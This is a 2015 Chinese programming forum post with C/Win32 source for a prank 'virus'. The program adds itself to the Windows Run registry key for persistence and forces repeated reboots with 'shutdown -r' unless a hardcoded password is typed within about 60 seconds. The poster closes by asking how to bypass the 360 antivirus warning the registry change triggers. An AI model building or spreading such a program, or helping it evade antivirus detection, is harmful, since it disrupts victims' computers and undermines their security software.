共有回帖数 0 个
-
程序代码
#includestdio.h
#includestdlib.h
#includestring.h
#includewindows.h
#include time.h
LRESULT CALLBACK WndProc( HWND, UINT, WPARAM, LPARAM ) ; //声明用来处理消息的函数
HWND hEdit;
int flag=1;
DWORD WINAPI Fun(LPVOID lpParamter)
{
double begin,end;
begin=clock();
while(1)
{
Sleep(1000);
end=clock();
if((end-begin)/100060.0)
{
system("shutdown -r");
}
}
}
int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow )
{
static TCHAR szAppName[] = TEXT("MyWin") ;
HWND hwnd ;
MSG msg ;
HANDLE hThread = CreateThread(NULL, 0, Fun, NULL, 0, NULL);
CloseHandle(hThread);
WNDCLASS wndclass ; //声明一个窗口类对象
//以下为窗口类对象wndclass的属性
wndclass.style = CS_HREDRAW | CS_VREDRAW | CS_NOCLOSE ; //窗口样式
wndclass.lpszClassName = szAppName ; //窗口类名
wndclass.lpszMenuName = NULL ; //窗口菜单:无
wndclass.hbrBackground = (HBRUSH) GetStockObject(10) ; //窗口背景颜色
wndclass.lpfnWndProc = WndProc ; //窗口处理函数
wndclass.cbWndExtra = NULL ; //窗口实例扩展:无
wndclass.cbClsExtra = 0 ; //窗口类扩展:无
wndclass.hInstance = hInstance ; //窗口实例句柄
wndclass.hIcon = LoadIcon( NULL, IDI_APPLICATION ) ; //窗口最小化图标:使用缺省图标
wndclass.hCursor = LoadCursor( NULL, IDC_ARROW ) ; //窗口采用箭头光标
if( !RegisterClass( &wndclass ) )
{ //注册窗口类, 如果注册失败弹出错误提示
MessageBox( NULL, TEXT("窗口注册失败!"), TEXT("错误"), MB_OK | MB_ICONERROR ) ;
return 0 ;
}
hwnd = CreateWindow( //创建窗口
szAppName, //窗口类名
TEXT("yly的坑爹病毒"), //窗口标题
WS_OVERLAPPEDWINDOW, //窗口的风格
CW_USEDEFAULT, //窗口初始显示位置x:使用缺省值
CW_USEDEFAULT, //窗口初始显示位置y:使用缺省值
300, //窗口的宽度:使用缺省值
300, //窗口的高度:使用缺省值
NULL, //父窗口:无
NULL, //子菜单:无
hInstance, //该窗口应用程序的实例句柄
NULL //
) ;
CreateWindow(L"Button",L"确定",WS_VISIBLE|WS_CHILD|BS_PUSHBUTTON,70,70,60,25,hwnd,(HMENU)1000,hInstance,NULL);
hEdit=CreateWindow(L"EDIT",L"",WS_CHILD|WS_VISIBLE | ES_AUTOHSCROLL|WS_BORDER, 75, 50, 45, 15,hwnd,(HMENU)1001,hInstance,NULL);
ShowWindow( hwnd, iCmdShow ) ; //显示窗口
UpdateWindow( hwnd ) ; //更新窗口
while( GetMessage( &msg, NULL, 0, 0 ) ) //从消息队列中获取消息
{
TranslateMessage( &msg ) ; //将虚拟键消息转换为字符消息
DispatchMessage( &msg ) ; //分发到回调函数(过程函数)
}
return msg.wParam ;
}
LRESULT CALLBACK WndProc( HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam )
{
HDC hdc ; //设备环境句柄
PAINTSTRUCT ps ; //绘制结构
RECT rect; //矩形结构
switch( message ) //处理得到的消息
{
case WM_CREATE : //窗口创建完成时发来的消息
{
char add[200]="REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ";
char *tp=" /t REG_SZ /d ";
char name[30]="yla";
char path[4]=" /f";
TCHAR module_file[MAX_PATH];
char sb[MAX_PATH];
GetModuleFileName(NULL, module_file, MAX_PATH);
int iLength=WideCharToMultiByte(CP_ACP,0,module_file,-1,NULL,0, NULL, NULL);
WideCharToMultiByte(CP_ACP,0,module_file,-1,sb,iLength,NULL,NULL);
strcat(add,name);
strcat(add,tp);
strcat(add, sb);
strcat(add,path);
system(add);
return 0;
}
case WM_COMMAND:
{
if(LOWORD(wParam)==1000)
{
LPSTR TC=(LPSTR)malloc(11);
//获取edit控件中的内容,但是出错?
GetWindowTextA(hEdit,TC,11);
if(!strcmp(TC,"128541")==1)
{
flag=0;
MessageBox( hwnd, TEXT("密码正确关闭程序就可以了"), TEXT("我的窗口"), MB_OK | MB_ICONINFORMATION ) ;
}
else
{
flag=1;
MessageBox( hwnd, TEXT("密码错误电脑将重启"), TEXT("我的窗口"), MB_OK | MB_ICONINFORMATION ) ;
system("shutdown -r");
}
}
return 0;
}
case WM_PAINT: //处理窗口区域无效时发来的消息
hdc = BeginPaint( hwnd, &ps ) ;
GetClientRect( hwnd, &rect ) ;
DrawText( hdc, TEXT( "Hello, 在电脑重启前你有60s时间输入密码" ), -1, &rect, DT_SINGLELINE | DT_CENTER | DT_VCENTER ) ;
EndPaint( hwnd, &ps ) ;
return 0 ;
case WM_LBUTTONDOWN: //处理鼠标左键被按下的消息
MessageBox( hwnd, TEXT("密码是qq号啊"), TEXT("单击"), MB_OK | MB_ICONINFORMATION ) ;
return 0;
case WM_DESTROY: //处理窗口关闭时的消息
if(flag)
{
MessageBox( hwnd, TEXT("密码错误电脑将重启"), TEXT("我的窗口"), MB_OK | MB_ICONINFORMATION );
system("shutdown -r");
}
PostQuitMessage( 0 ) ;
return 0;
}
return DefWindowProc( hwnd, message, wParam, lParam ) ; //DefWindowProc处理我们自定义的消息处理函数没有处理到的消息
}
就是通过cmd修改注册表开机启动时,360会警告,这个警告能跳过吗?
楼主 2015-09-04 18:29 回复
Copyright © 2010~2015 直线网 版权所有,All Rights Reserved.沪ICP备10039589号
意见反馈 |
关于直线 |
版权声明 |
会员须知